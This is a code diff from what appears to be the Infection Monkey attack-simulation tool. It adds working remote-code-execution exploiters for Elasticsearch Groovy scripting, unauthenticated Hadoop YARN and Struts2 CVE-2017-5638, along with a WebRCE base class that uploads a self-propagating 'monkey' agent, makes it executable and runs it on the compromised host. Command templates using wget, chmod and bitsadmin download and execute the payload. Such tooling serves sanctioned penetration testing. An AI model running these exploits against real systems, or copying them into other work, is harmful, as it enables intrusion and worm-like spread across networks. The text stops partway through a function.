@ -18,7 +19,7 @@ class HostExploiter(object):
return self.host.os.get('type') in self._TARGET_OS_TYPE
def send_exploit_telemetry(self, result):
from control import ControlClient
from infection_monkey.control import ControlClient
ControlClient.send_telemetry(
'exploit',
{'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
@ -33,12 +34,14 @@ class HostExploiter(object):
raise NotImplementedError()
from win_ms08_067 import Ms08_067_Exploiter
from wmiexec import WmiExploiter
from smbexec import SmbExploiter
from rdpgrinder import RdpExploiter
from sshexec import SSHExploiter
from shellshock import ShellShockExploiter
from sambacry import SambaCryExploiter
from elasticgroovy import ElasticGroovyExploiter
from struts2 import Struts2Exploiter
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
from infection_monkey.exploit.wmiexec import WmiExploiter
from infection_monkey.exploit.smbexec import SmbExploiter
from infection_monkey.exploit.rdpgrinder import RdpExploiter
from infection_monkey.exploit.sshexec import SSHExploiter
from infection_monkey.exploit.shellshock import ShellShockExploiter
from infection_monkey.exploit.sambacry import SambaCryExploiter
from infection_monkey.exploit.elasticgroovy import ElasticGroovyExploiter
from infection_monkey.exploit.struts2 import Struts2Exploiter
from infection_monkey.exploit.weblogic import WebLogicExploiter
from infection_monkey.exploit.hadoop import HadoopExploiter

View File

@ -0,0 +1,65 @@
"""
Implementation is based on elastic search groovy exploit by metasploit
https://github.com/rapid7/metasploit-framework/blob/12198a088132f047e0a86724bc5ebba92a73ac66/modules/exploits/multi/elasticsearch/search_groovy_script.rb
Max vulnerable elasticsearch version is "1.4.2"
"""
import json
import logging
import requests
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
import re
__author__ = 'danielg, VakarisZ'
LOG = logging.getLogger(__name__)
class ElasticGroovyExploiter(WebRCE):
# attack URLs
MONKEY_RESULT_FIELD = "monkey_result"
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
JAVA_CMD = GENERIC_QUERY \
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
_TARGET_OS_TYPE = ['linux', 'windows']
def __init__(self, host):
super(ElasticGroovyExploiter, self).__init__(host)
def get_exploit_config(self):
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
exploit_config['dropper'] = True
exploit_config['url_extensions'] = ['_search?pretty']
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': RDP_CMDLINE_HTTP}
return exploit_config
def get_open_service_ports(self, port_list, names):
# We must append elastic port we get from elastic fingerprint module because It's not marked as 'http' service
valid_ports = super(ElasticGroovyExploiter, self).get_open_service_ports(port_list, names)
if ES_SERVICE in self.host.services:
valid_ports.append([ES_PORT, False])
return valid_ports
def exploit(self, url, command):
command = re.sub(r"\\", r"\\\\\\\\", command)
payload = self.JAVA_CMD % command
response = requests.get(url, data=payload)
result = self.get_results(response)
if not result:
return False
return result[0]
def get_results(self, response):
"""
Extracts the result data from our attack
:return: List of data fields or None
"""
try:
json_resp = json.loads(response.text)
return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
except (KeyError, IndexError):
return None

View File

@ -0,0 +1,101 @@
"""
Remote code execution on HADOOP server with YARN and default settings
Implementation is based on code from https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
"""
import requests
import json
import random
import string
import logging
import posixpath
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth
from infection_monkey.model import MONKEY_ARG, ID_STRING
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
class HadoopExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
HADOOP_PORTS = [["8088", False]]
# We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes
# to download monkey at the same time
LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \
"&& wget -O %(monkey_path)s %(http_path)s " \
"; chmod +x %(monkey_path)s " \
"&& %(monkey_path)s %(monkey_type)s %(parameters)s"
WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \
" Update /download /priority high %(http_path)s %(monkey_path)s " \
"& %(monkey_path)s %(monkey_type)s %(parameters)s"
# How long we have our http server open for downloads in seconds
DOWNLOAD_TIMEOUT = 60
# Random string's length that's used for creating unique app name
RAN_STR_LEN = 6
def __init__(self, host):
super(HadoopExploiter, self).__init__(host)
def exploit_host(self):
# Try to get exploitable url
urls = self.build_potential_urls(self.HADOOP_PORTS)
self.add_vulnerable_urls(urls, True)
if not self.vulnerable_urls:
return False
paths = self.get_monkey_paths()
if not paths:
return False
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path'])
command = self.build_command(paths['dest_path'], http_path)
if not self.exploit(self.vulnerable_urls[0], command):
return False
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
return True
def exploit(self, url, command):
# Get the newly created application id
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
resp = json.loads(resp.content)
app_id = resp['application-id']
# Create a random name for our application in YARN
rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in xrange(self.RAN_STR_LEN)])
payload = self.build_payload(app_id, rand_name, command)
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload)
return resp.status_code == 202
def check_if_exploitable(self, url):
try:
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/new-application"))
except requests.ConnectionError:
return False
return resp.status_code == 200
def build_command(self, path, http_path):
# Build command to execute
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
if 'linux' in self.host.os['type']:
base_command = self.LINUX_COMMAND
else:
base_command = self.WINDOWS_COMMAND
return base_command % {"monkey_path": path, "http_path": http_path,
"monkey_type": MONKEY_ARG, "parameters": monkey_cmd}
@staticmethod
def build_payload(app_id, name, command):
payload = {
"application-id": app_id,
"application-name": name,
"am-container-spec": {
"commands": {
"command": command,
}
},
"application-type": "YARN"
}
return payload

View File

@ -9,12 +9,12 @@ from rdpy.core.error import RDPSecurityNegoFail
from rdpy.protocol.rdp import rdp
from twisted.internet import reactor
from exploit import HostExploiter
from exploit.tools import HTTPTools, get_monkey_depth
from exploit.tools import get_target_monkey
from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
from network.tools import check_tcp_port
from tools import build_monkey_commandline
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import HTTPTools, get_monkey_depth
from infection_monkey.exploit.tools import get_target_monkey
from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
__author__ = 'hoffer'
@ -237,8 +237,6 @@ class RdpExploiter(HostExploiter):
def __init__(self, host):
super(RdpExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self._guid = __import__('config').GUID
def is_os_supported(self):
if super(RdpExploiter, self).is_os_supported():

View File

@ -15,11 +15,12 @@ from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_
SMB2Packet, SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE
from impacket.smbconnection import SMBConnection
import monkeyfs
from exploit import HostExploiter
from model import DROPPER_ARG
from network.smbfinger import SMB_SERVICE
from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path, get_monkey_depth
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.exploit import HostExploiter
from infection_monkey.model import DROPPER_ARG
from infection_monkey.network.smbfinger import SMB_SERVICE
from infection_monkey.exploit.tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
from infection_monkey.pyinstaller_utils import get_binary_file_path
__author__ = 'itay.mizeretz'
@ -52,7 +53,6 @@ class SambaCryExploiter(HostExploiter):
def __init__(self, host):
super(SambaCryExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
def exploit_host(self):
if not self.is_vulnerable():
@ -306,12 +306,12 @@ class SambaCryExploiter(HostExploiter):
def get_monkey_runner_bin_file(self, is_32bit):
if is_32bit:
return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_32), "rb")
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_32), "rb")
else:
return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_64), "rb")
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb")
def get_monkey_commandline_file(self, location):
return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location))
return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, str(location)))
@staticmethod
def is_share_writable(smb_client, share):

View File

@ -6,11 +6,11 @@ from random import choice
import requests
from exploit import HostExploiter
from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
from model import DROPPER_ARG
from shellshock_resources import CGI_FILES
from tools import build_monkey_commandline
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
from infection_monkey.model import DROPPER_ARG
from infection_monkey.exploit.shellshock_resources import CGI_FILES
from infection_monkey.exploit.tools import build_monkey_commandline
__author__ = 'danielg'
@ -29,7 +29,6 @@ class ShellShockExploiter(HostExploiter):
def __init__(self, host):
super(ShellShockExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
self.success_flag = ''.join(
choice(string.ascii_uppercase + string.digits
@ -134,7 +133,7 @@ class ShellShockExploiter(HostExploiter):
# run the monkey
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & '
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_target_path_linux) + ' & '
run_path = exploit + cmdline
self.attack_page(url, header, run_path)

View File

@ -3,12 +3,12 @@ from logging import getLogger
from impacket.dcerpc.v5 import transport, scmr
from impacket.smbconnection import SMB_DIALECT
from exploit import HostExploiter
from exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
from network import SMBFinger
from network.tools import check_tcp_port
from tools import build_monkey_commandline
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
from infection_monkey.network import SMBFinger
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
LOG = getLogger(__name__)
@ -23,8 +23,6 @@ class SmbExploiter(HostExploiter):
def __init__(self, host):
super(SmbExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self._guid = __import__('config').GUID
def is_os_supported(self):
if super(SmbExploiter, self).is_os_supported():

View File

@ -4,12 +4,12 @@ import time
import paramiko
import StringIO
import monkeyfs
from exploit import HostExploiter
from exploit.tools import get_target_monkey, get_monkey_depth
from model import MONKEY_ARG
from network.tools import check_tcp_port
from tools import build_monkey_commandline
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth
from infection_monkey.model import MONKEY_ARG
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
__author__ = 'hoffer'
@ -23,7 +23,6 @@ class SSHExploiter(HostExploiter):
def __init__(self, host):
super(SSHExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration
self._update_timestamp = 0
self.skip_exist = self._config.skip_exploit_if_file_exist

View File

@ -0,0 +1,94 @@
"""
Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 )
code used is from https://www.exploit-db.com/exploits/41570/
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
"""
import urllib2
import httplib
import unicodedata
import re
import logging
from infection_monkey.exploit.web_rce import WebRCE
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
DOWNLOAD_TIMEOUT = 300
class Struts2Exploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
def __init__(self, host):
super(Struts2Exploiter, self).__init__(host, None)
def get_exploit_config(self):
exploit_config = super(Struts2Exploiter, self).get_exploit_config()
exploit_config['dropper'] = True
return exploit_config
def build_potential_urls(self, ports, extensions=None):
"""
We need to override this method to get redirected url's
:param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
Eg. ports: [[80, False], [443, True]]
:param extensions: What subdirectories to scan. www.domain.com[/extension]
:return: Array of url's to try and attack
"""
url_list = super(Struts2Exploiter, self).build_potential_urls(ports)
url_list = [self.get_redirected(url) for url in url_list]
return url_list
@staticmethod
def get_redirected(url):
# Returns false if url is not right
headers = {'User-Agent': 'Mozilla/5.0'}
request = urllib2.Request(url, headers=headers)
try:
return urllib2.urlopen(request).geturl()
except urllib2.URLError:
LOG.error("Can't reach struts2 server")
return False
def exploit(self, url, cmd):
"""
:param url: Full url to send request to
:param cmd: Code to try and execute on host
:return: response
"""
cmd = re.sub(r"\\", r"\\\\", cmd)
cmd = re.sub(r"'", r"\\'", cmd)
payload = "%%{(#_='multipart/form-data')." \
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
"(#_memberAccess?" \
"(#_memberAccess=#dm):" \
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \
"(#ognlUtil.getExcludedPackageNames().clear())." \
"(#ognlUtil.getExcludedClasses().clear())." \
"(#context.setMemberAccess(#dm))))." \
"(#cmd='%s')." \
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
"(#p=new java.lang.ProcessBuilder(#cmds))." \
"(#p.redirectErrorStream(true)).(#process=#p.start())." \
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
"(#ros.flush())}" % cmd
# Turns payload ascii just for consistency
if isinstance(payload, unicode):
payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
try:
request = urllib2.Request(url, headers=headers)
# Timeout added or else we would wait for all monkeys' output
page = urllib2.urlopen(request).read()
except AttributeError:
# If url does not exist
return False
except httplib.IncompleteRead as e:
page = e.partial
return page

View File

@ -17,11 +17,13 @@ from impacket.dcerpc.v5.dtypes import NULL
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.smbconnection import SMBConnection, SMB_DIALECT
import monkeyfs
from network import local_ips
from network.firewall import app as firewall
from network.info import get_free_tcp_port, get_routes
from transport import HTTPServer
import infection_monkey.config
import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.network import local_ips
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port, get_routes
from infection_monkey.transport import HTTPServer, LockedHTTPServer
from threading import Lock
class DceRpcException(Exception):
@ -173,8 +175,7 @@ class SmbTools(object):
@staticmethod
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
config = __import__('config').WormConfiguration
config = infection_monkey.config.WormConfiguration
src_file_size = monkeyfs.getsize(src_path)
smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
@ -386,6 +387,34 @@ class HTTPTools(object):
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
@staticmethod
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
"""
Create http server for file transfer with a lock
:param host: Variable with target's information
:param src_path: Monkey's path on current system
:param local_ip: IP where to host server
:param local_port: Port at which to host monkey's download
:return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
"""
# To avoid race conditions we pass a locked lock to http servers thread
lock = Lock()
lock.acquire()
if not local_port:
local_port = get_free_tcp_port()
if not local_ip:
local_ip = get_interface_to_target(host.ip_addr)
if not firewall.listen_allowed():
LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
return None, None
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
httpd.start()
lock.acquire()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
def get_interface_to_target(dst):
if sys.platform == "win32":
@ -416,7 +445,7 @@ def get_interface_to_target(dst):
def get_target_monkey(host):
from control import ControlClient
from infection_monkey.control import ControlClient
import platform
import sys
@ -442,7 +471,7 @@ def get_target_monkey(host):
def get_target_monkey_by_os(is_windows, is_32bit):
from control import ControlClient
from infection_monkey.control import ControlClient
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
@ -466,18 +495,38 @@ def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, d
def build_monkey_commandline(target_host, depth, location=None):
from config import GUID
from infection_monkey.config import GUID
return build_monkey_commandline_explicitly(
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
def get_binaries_dir_path():
if getattr(sys, 'frozen', False):
return sys._MEIPASS
else:
return os.path.dirname(os.path.abspath(__file__))
def get_monkey_depth():
from config import WormConfiguration
from infection_monkey.config import WormConfiguration
return WormConfiguration.depth
def get_monkey_dest_path(url_to_monkey):
"""
Gets destination path from monkey's source url.
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
:return: Corresponding monkey path from configuration
"""
from infection_monkey.config import WormConfiguration
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
return False
try:
if 'linux' in url_to_monkey:
return WormConfiguration.dropper_target_path_linux
elif 'windows-32' in url_to_monkey:
return WormConfiguration.dropper_target_path_win_32
elif 'windows-64' in url_to_monkey:
return WormConfiguration.dropper_target_path_win_64
else:
LOG.error("Could not figure out what type of monkey server was trying to upload, "
"thus destination path can not be chosen.")
return False
except AttributeError:
LOG.error("Seems like monkey's source configuration property names changed. "
"Can not get destination path to upload monkey")
return False

View File

@ -0,0 +1,478 @@
import logging
import re
from posixpath import join
from abc import abstractmethod
from infection_monkey.exploit import HostExploiter
from infection_monkey.model import *
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
# Command used to check if monkeys already exists
LOOK_FOR_FILE = "ls %s"
POWERSHELL_NOT_FOUND = "owershell is not recognized"
# Constants used to refer to windows architectures( used in host.os['machine'])
WIN_ARCH_32 = "32"
WIN_ARCH_64 = "64"
class WebRCE(HostExploiter):
def __init__(self, host, monkey_target_paths=None):
"""
:param host: Host that we'll attack
:param monkey_target_paths: Where to upload the monkey at the target host system.
Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... }
"""
super(WebRCE, self).__init__(host)
if monkey_target_paths:
self.monkey_target_paths = monkey_target_paths
else:
self.monkey_target_paths = {'linux': self._config.dropper_target_path_linux,
'win32': self._config.dropper_target_path_win_32,
'win64': self._config.dropper_target_path_win_64}
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
self.skip_exist = self._config.skip_exploit_if_file_exist
self.vulnerable_urls = []
def get_exploit_config(self):
"""
Method that creates a dictionary of configuration values for exploit
:return: configuration dict
"""
exploit_config = dict()
# dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy
# it's file to the default destination path.
exploit_config['dropper'] = False
# upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD}
# Command must have "monkey_path" and "http_path" format parameters. If None defaults will be used.
exploit_config['upload_commands'] = None
# url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"]
exploit_config['url_extensions'] = None
# stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable.
exploit_config['stop_checking_urls'] = False
# blind_exploit: If true we won't check if file exist and won't try to get the architecture of target.
exploit_config['blind_exploit'] = False
return exploit_config
def exploit_host(self):
"""
Method that contains default exploitation workflow
:return: True if exploited, False otherwise
"""
# We get exploit configuration
exploit_config = self.get_exploit_config()
# Get open ports
ports = self.get_ports_w(self.HTTP, ["http"])
if not ports:
return False
# Get urls to try to exploit
urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls'])
if not self.vulnerable_urls:
return False
# Skip if monkey already exists and this option is given
if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.vulnerable_urls[0]):
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
# Check for targets architecture (if it's 32 or 64 bit)
if not exploit_config['blind_exploit'] and not self.set_host_arch(self.vulnerable_urls[0]):
return False
# Upload the right monkey to target
data = self.upload_monkey(self.vulnerable_urls[0], exploit_config['upload_commands'])
if data is False:
return False
# Change permissions to transform monkey into executable file
if self.change_permissions(self.vulnerable_urls[0], data['path']) is False:
return False
# Execute remote monkey
if self.execute_remote_monkey(self.vulnerable_urls[0], data['path'], exploit_config['dropper']) is False:
return False
return True
@abstractmethod
def exploit(self, url, command):
"""
A reference to a method which implements web exploit logic.
:param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension.
:param command: Command which will be executed on remote host
:return: RCE's output/True if successful or False if failed
"""
raise NotImplementedError()
def get_open_service_ports(self, port_list, names):
"""
:param port_list: Potential ports to exploit. For example _config.HTTP_PORTS
:param names: [] of service names. Example: ["http"]
:return: Returns all open ports from port list that are of service names
"""
candidate_services = {}
candidate_services.update({
service: self.host.services[service] for service in self.host.services if
(self.host.services[service] and self.host.services[service]['name'] in names)
})
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
tcp_port_to_service(port) in candidate_services]
return valid_ports
def check_if_port_open(self, port):
is_open, _ = check_tcp_port(self.host.ip_addr, port)
if not is_open:
LOG.info("Port %d is closed on %r, skipping", port, self.host)
return False
return True
def get_command(self, path, http_path, commands):
try:
if 'linux' in self.host.os['type']:
command = commands['linux']
else:
command = commands['windows']
# Format command
command = command % {'monkey_path': path, 'http_path': http_path}
except KeyError:
LOG.error("Provided command is missing/bad for this type of host! "
"Check upload_monkey function docs before using custom monkey's upload commands.")
return False
return command
def check_if_exploitable(self, url):
"""
Checks if target is exploitable by interacting with url
:param url: Url to exploit
:return: True if exploitable and false if not
"""
try:
resp = self.exploit(url, CHECK_COMMAND)
if resp is True:
return True
elif resp is not False and ID_STRING in resp:
return True
else:
return False
except Exception as e:
LOG.error("Host's exploitability check failed due to: %s" % e)
return False
def build_potential_urls(self, ports, extensions=None):
"""
:param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)]
Eg. ports: [[80, False], [443, True]]
:param extensions: What subdirectories to scan. www.domain.com[/extension]
:return: Array of url's to try and attack
"""
url_list = []
if extensions:
extensions = [(e[1:] if '/' == e[0] else e) for e in extensions]
else:
extensions = [""]
for port in ports:
for extension in extensions:
if port[1]:
protocol = "https"
else:
protocol = "http"
url_list.append(join(("%s://%s:%s" % (protocol, self.host.ip_addr, port[0])), extension))
if not url_list:
LOG.info("No attack url's were built")
return url_list
def add_vulnerable_urls(self, urls, stop_checking=False):
"""
Gets vulnerable url(s) from url list
:param urls: Potentially vulnerable urls
:param stop_checking: If we want to continue checking for vulnerable url even though one is found (bool)
:return: None (we append to class variable vulnerable_urls)
"""
for url in urls:
if self.check_if_exploitable(url):
self.vulnerable_urls.append(url)
if stop_checking:
break
if not self.vulnerable_urls:
LOG.info("No vulnerable urls found, skipping.")
# We add urls to param used in reporting
self._exploit_info['vulnerable_urls'] = self.vulnerable_urls
def get_host_arch(self, url):
"""
:param url: Url for exploiter to use
:return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ...
"""
if 'linux' in self.host.os['type']:
resp = self.exploit(url, GET_ARCH_LINUX)
if resp:
# Pulls architecture string
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
try:
arch = arch.group(1)
except AttributeError:
LOG.error("Looked for linux architecture but could not find it")
return False
if arch:
return arch
else:
LOG.info("Could not pull machine architecture string from command's output")
return False
else:
return False
else:
resp = self.exploit(url, GET_ARCH_WINDOWS)
if resp:
if "64-bit" in resp:
return WIN_ARCH_64
else:
return WIN_ARCH_32
else:
return False
def check_remote_monkey_file(self, url, path):
command = LOOK_FOR_FILE % path
resp = self.exploit(url, command)
if 'No such file' in resp:
return False
else:
LOG.info("Host %s was already infected under the current configuration, done" % host)
return True
def check_remote_files(self, url):
"""
:param url: Url for exploiter to use
:return: True if at least one file is found, False otherwise
"""
paths = []
if 'linux' in self.host.os['type']:
paths.append(self.monkey_target_paths['linux'])
else:
paths.extend([self.monkey_target_paths['win32'], self.monkey_target_paths['win64']])
for path in paths:
if self.check_remote_monkey_file(url, path):
return True
return False
# Wrapped functions:
def get_ports_w(self, ports, names):
"""
Get ports wrapped with log
:param ports: Potential ports to exploit. For example WormConfiguration.HTTP_PORTS
:param names: [] of service names. Example: ["http"]
:return: Array of ports: [[80, False], [443, True]] or False. Port always consists of [ port.nr, IsHTTPS?]
"""
ports = self.get_open_service_ports(ports, names)
if not ports:
LOG.info("All default web ports are closed on %r, skipping", host)
return False
else:
return ports
def set_host_arch(self, url):
arch = self.get_host_arch(url)
if not arch:
LOG.error("Couldn't get host machine's architecture")
return False
else:
self.host.os['machine'] = arch
return True
def run_backup_commands(self, resp, url, dest_path, http_path):
"""
If you need multiple commands for the same os you can override this method to add backup commands
:param resp: Response from base command
:param url: Vulnerable url
:param dest_path: Where to upload monkey
:param http_path: Where to download monkey from
:return: Command's response (same response if backup command is not needed)
"""
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
LOG.info("Powershell not found in host. Using bitsadmin to download.")
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
resp = self.exploit(url, backup_command)
return resp
def upload_monkey(self, url, commands=None):
"""
:param url: Where exploiter should send it's request
:param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD}
Command must have "monkey_path" and "http_path" format parameters.
:return: {'response': response/False, 'path': monkeys_path_in_host}
"""
LOG.info("Trying to upload monkey to the host.")
if not self.host.os['type']:
LOG.error("Unknown target's os type. Skipping.")
return False
paths = self.get_monkey_paths()
if not paths:
return False
# Create server for http download and wait for it's startup.
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path'])
if not http_path:
LOG.debug("Exploiter failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
# Choose command:
if not commands:
commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
command = self.get_command(paths['dest_path'], http_path, commands)
resp = self.exploit(url, command)
resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Uploading process finished")
# If response is false exploiter failed
if resp is False:
return resp
else:
return {'response': resp, 'path': paths['dest_path']}
def change_permissions(self, url, path, command=None):
"""
Method for linux hosts. Makes monkey executable
:param url: Where to send malicious packets
:param path: Path to monkey on remote host
:param command: Formatted command for permission change or None
:return: response, False if failed and True if permission change is not needed
"""
LOG.info("Changing monkey's permissions")
if 'windows' in self.host.os['type']:
LOG.info("Permission change not required for windows")
return True
if not command:
command = CHMOD_MONKEY % {'monkey_path': path}
try:
resp = self.exploit(url, command)
except Exception as e:
LOG.error("Something went wrong while trying to change permission: %s" % e)
return False
# If exploiter returns True / False
if type(resp) is bool:
LOG.info("Permission change finished")
return resp
# If exploiter returns command output, we can check for execution errors
if 'Operation not permitted' in resp:
LOG.error("Missing permissions to make monkey executable")
return False
elif 'No such file or directory' in resp:
LOG.error("Could not change permission because monkey was not found. Check path parameter.")
return False
LOG.info("Permission change finished")
return resp
def execute_remote_monkey(self, url, path, dropper=False):
"""
This method executes remote monkey
:param url: Where to send malicious packets
:param path: Path to monkey on remote host
:param dropper: Should remote monkey be executed with dropper or with monkey arg?
:return: Response or False if failed
"""
LOG.info("Trying to execute remote monkey")
# Get monkey command line
if dropper and path:
# If dropper is chosen we try to move monkey to default location
default_path = self.get_default_dropper_path()
if default_path is False:
return False
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path)
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd}
else:
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd}
try:
resp = self.exploit(url, command)
# If exploiter returns True / False
if type(resp) is bool:
LOG.info("Execution attempt successfully finished")
return resp
# If exploiter returns command output, we can check for execution errors
if 'is not recognized' in resp or 'command not found' in resp:
LOG.error("Wrong path chosen or other process already deleted monkey")
return False
elif 'The system cannot execute' in resp:
LOG.error("System could not execute monkey")
return False
except Exception as e:
LOG.error("Something went wrong when trying to execute remote monkey: %s" % e)
return False
LOG.info("Execution attempt finished")
return resp
def get_monkey_upload_path(self, url_to_monkey):
"""
